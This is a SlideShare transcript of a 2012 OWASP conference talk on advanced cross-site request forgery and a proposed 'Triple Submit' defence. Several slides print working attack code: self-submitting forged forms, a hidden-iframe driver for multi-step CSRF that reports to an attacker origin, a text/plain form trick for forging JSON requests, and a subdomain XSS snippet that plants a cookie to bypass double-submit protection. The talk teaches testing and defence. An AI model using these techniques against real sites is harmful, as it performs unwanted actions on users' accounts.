Advanced CSRF and Stateless Anti-CSRF
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Advanced CSRF and Stateless Anti-CSRF

on

  • 5,271 views

 

Statistics

Views

Total Views
5,271
Views on SlideShare
5,247
Embed Views
24

Actions

Likes
8
Downloads
124
Comments
3

4 Embeds 24

https://twitter.com 10
https://si0.twimg.com 7
http://www.pearltrees.com 6
https://www.linkedin.com 1

Accessibility

Categories

Upload Details

Uploaded via as Apple Keynote

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n

Advanced CSRF and Stateless Anti-CSRF Presentation Transcript

  • 1. Advanced CSRF and Stateless Anti-CSRF@johnwilander at OWASP AppSec Research 2012
  • 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden@johnwilanderjohnwilander.com (music) johnwilander.se (papers etc)
  • 3. Some QuickCSRF Basics
  • 4. Cross-Site Request Forgery Request Fo rgery Cro ss- Sit e
  • 5. Cross-Site Request Forgery Request Forgery Cros s-Si te Ph ish ing
  • 6. What’s on your mind? What’s on your mind? POST POST
  • 7. What’s on your mind? What’s on your mind?I love OWASP! POST POST
  • 8. What’s on your mind? What’s on your mind?I love OWASP! POST POSTJohn: I love OWASP!
  • 9. What’s on your mind? What’s on your mind? POST POST
  • 10. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 11. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 12. What’s on your mind? What’s on your mind? POST I hate OWASP! POSTJohn: I hate OWASP!
  • 13. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form">John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $(#form).submit(); }); </script>
  • 14. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit"What’s on your mind? What’s on your mind? value="POST"/> POST </form>John: I hate OWASP! <script> $(document).ready(function() { $(#target).submit(); }); </script>
  • 15. Multi-Step,Semi-Blind CSRF
  • 16. What about ”several steps”? Step 1 Step 2 Step 3 State built up i steps, server roundtrip in-between
  • 17. Step 1 Step 2 Step 3 st ue ll r eq wi ed tep ous rg t s o s F a re vi l p to the m iss
  • 18. Can we forge timed GETs andPOSTsin a deterministic, non-blindway? Step 1 Step 2 Step 3 1 2 3 4
  • 19. csrfMultiDriver.html invisible iframe csrfMulti0.html
  • 20. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  • 21. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  • 22. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  • 23. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  • 24. Lets look atAn iframed CSRFGet
  • 25. Invisible iframe for timed GET<!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  • 26. The iframed page configures which URL to CSRF against via a JavaScript-<!DOCTYPE html> variable.<html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  • 27. <!DOCTYPE html><html><head> <script> When the iframesGET_SRC = done var IFRAME_ID = "0", DOM is "http://www.vulnerable.com/some.html?param=1"; loading IFRAME_GETTER.onload() is </script> called. <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  • 28. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = Lets"http://www.vulnerable.com/some.html?param=1"; look at iframeGetter.js … </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  • 29. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  • 30. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); IFRAME_GETTER.onload() makes sure imgElement.setAttribute("width", "0"); that the iframe reports back to the imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); main page once every second. document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } so called heart beat function. A};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  • 31. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { In practice, document.createElement("img"); imgElement = the heart beats are delivered via postMessage between imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); the iframe and the main page. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  • 32. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { The GET CSRF is"https://attackr.se:8444"); executed with an parent.postMessage(IFRAME_ID, } <img src="vulnerable URL"> if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  • 33. var IFRAME_GETTER onerror event will fire The = {};IFRAME_GETTER.reportAndGet = function() { does since the vulnerable URLIFRAME_GETTER.haveGotten = false; not respond with an image. We var imgElement; if(parent != undefined) { use that event to stop the parent.postMessage(IFRAME_ID, heart beat function. No heart "https://attackr.se:8444"); } beat means the main page if(!IFRAME_GETTER.haveGotten) { imgElement = this step is done and knows document.createElement("img"); imgElement.setAttribute("src", GET_SRC); can continue opening the next imgElement.setAttribute("height", "0"); iframe. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  • 34. Lets look atAn iframed CSRFPost
  • 35. <!DOCTYPE html><html> Invisible iframe for timed<head> <script> POST var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  • 36. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> The vulnerable URL can be <script src="../iframePoster.js"></script></head> found in the form to be<body onload="IFRAME_POSTER.onLoad()"> posted.<form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  • 37. <!DOCTYPE html><html><head> <script> When the iframes DOM is done var IFRAME_ID = "1"; loading IFRAME_POSTER.onload() </script> is <script src="../iframePoster.js"></script></head>called.<body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  • 38. <!DOCTYPE html><html><head> Lets IFRAME_ID iframePoster.js <script> var look at = "1"; … </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  • 39. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); IFRAME_POSTER.havePosted = true; }};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
  • 40. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { makes sure IFRAME_POSTER.onload() thedocument.forms[target].submit(); main iframe reports back to the IFRAME_POSTER.havePosted = true; page once every second. Again, a }}; heart beat function.IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
  • 41. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); The heart beats stop automatically } when the POST is done since the if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); iframe is loaded with thetrue; IFRAME_POSTER.havePosted = response }}; from the web server that got the POST.IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
  • 42. The main page configures the order of the CSRF steps, opens iframes and …var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti0.html} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti1.html} ], appendIFrame = function(frame) { var domNode = <iframe src=" + frame.src + " height="600" width="400" + (hideIFrames ? style="visibility: hidden" : ) + ></iframe>; $("body").append(domNode); };… csrfMultiDriver.ht
  • 43. return { … listens on checkIFrames : function() { var frame; heart beats to for (var i = 0; i < frames.length; i++) { frame = frames[i]; time every iframe if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht
  • 44. Demo Multi-Step,Semi-Blind CSRF against amazon.com which has protection against this.The intention is to show how you can test your own sites.
  • 45. There used to be aprotection in web 1.5
  • 46. Forced Browsing wizard-styleShipment info ✉ Payment info $ Next Buy!
  • 47. Forced Browsing wizard-styleShipment info ✉ Payment info $ Token Next Buy!
  • 48. Forced Browsing wizard-styleShipment info ✉ Payment info $ Re-Auth Next Buy!
  • 49. Forced Browsing wizard-styleToken 1 Token 2 Token 3
  • 50. Forced Browsing wizard-styleToken 1 Token 2 Token 3State built up i steps, server roundtrip in-between
  • 51. Forced Browsing wizard-styleToken 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  • 52. But in RIAs ...
  • 53. RIA & client-side state { ”purchase”: {} }
  • 54. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  • 55. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  • 56. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  • 57. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 58. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 59. Can an attackerforge such a JSON structure?
  • 60. CSRF AgainstRESTful Services
  • 61. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 62. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  • 63. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  • 64. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  • 65. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /></form>
  • 66. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}// value="dummy" /> <input type="submit" value="Go" /></form>
  • 67. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}// value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /></form>
  • 68. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006", "paddingDummy": " value="} /> <input type="submit" value="Go" />
  • 69. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006", "timestamp": "20111006", "paddingDummy": "="} "paddingDummy": " value="} /> ... and that is JSON! <input type="submit" value="Go" />
  • 70. Demo CSRF POST thenDemo CSRF + XSSThe Browser Exploitation Framework http://beefproject.com/
  • 71. Important in your REST API • Restrict do CSRF with GETe.g. POST Easier to HTTP method, • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi- part and text/plain
  • 72. Double Submit (CSRF Protection)
  • 73. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
  • 74. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
  • 75. Double Submit (CSRF protection)Anti-CSRF cookie canbe generated client-side=> no server-side state
  • 76. Demo Double Submit
  • 77. Are We FullyProtected Now?
  • 78. Are We FullyProtected Now? Of course not
  • 79. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org Search Buy!
  • 80. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org <script>alert(XSS)</script> Search XSS OK Buy!
  • 81. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org <script> Search $.cookie( "doubleSubmitToken", "knownValue", { path: "/", domain: ".1-liner.org" }); </script> Buy!
  • 82. Demo SubdomainXSS Double Submit Bypass
  • 83. Im proposing some sort of Triple Submit CSRF Protection
  • 84. Triple Submit (CSRF protection) Initial request of rich internet app
  • 85. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as JavaScript variable
  • 86. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as request parameterStateful:Cookie name saved in server sessionStateless:Server only accepts one such cookie (checks format)
  • 87. The 3rd Submit• The server sets an HttpOnly cookie with a random name and random value• The server tells the client the value of the random cookie, not the name• The client submits the value of the cookie as a request parameter
  • 88. The 3rd Submit • The server sets an httpOnly cookieresponse.setHeader("Set-Cookie", randomName a random randomValue + "; with + "=" + name and random value HttpOnly; path=/; domain=.1-liner.org"); • The server tells the client the name and value of the random cookie • The Client submits the name and value of the cookie as a request parameter
  • 89. The 3rd Submit • The server sets an httpOnly cookie with a random name and random value<script> •var ANTI_CSRF_TRIPLE the client the name %>; The server tells = <%= randomValue</script> value of the random cookie and • The Client submits the name and value of the cookie as a request parameter
  • 90. The 3rd Submit• Cookie value as parameter• The cookie name• The cookie value
  • 91. My Demo System is Being Released as an OWASP• https://www.owasp.org/index.php? title=OWASP_1-Liner• https://github.com/johnwilander/ owasp-1-liner
  • 92. Thanks!@johnwilander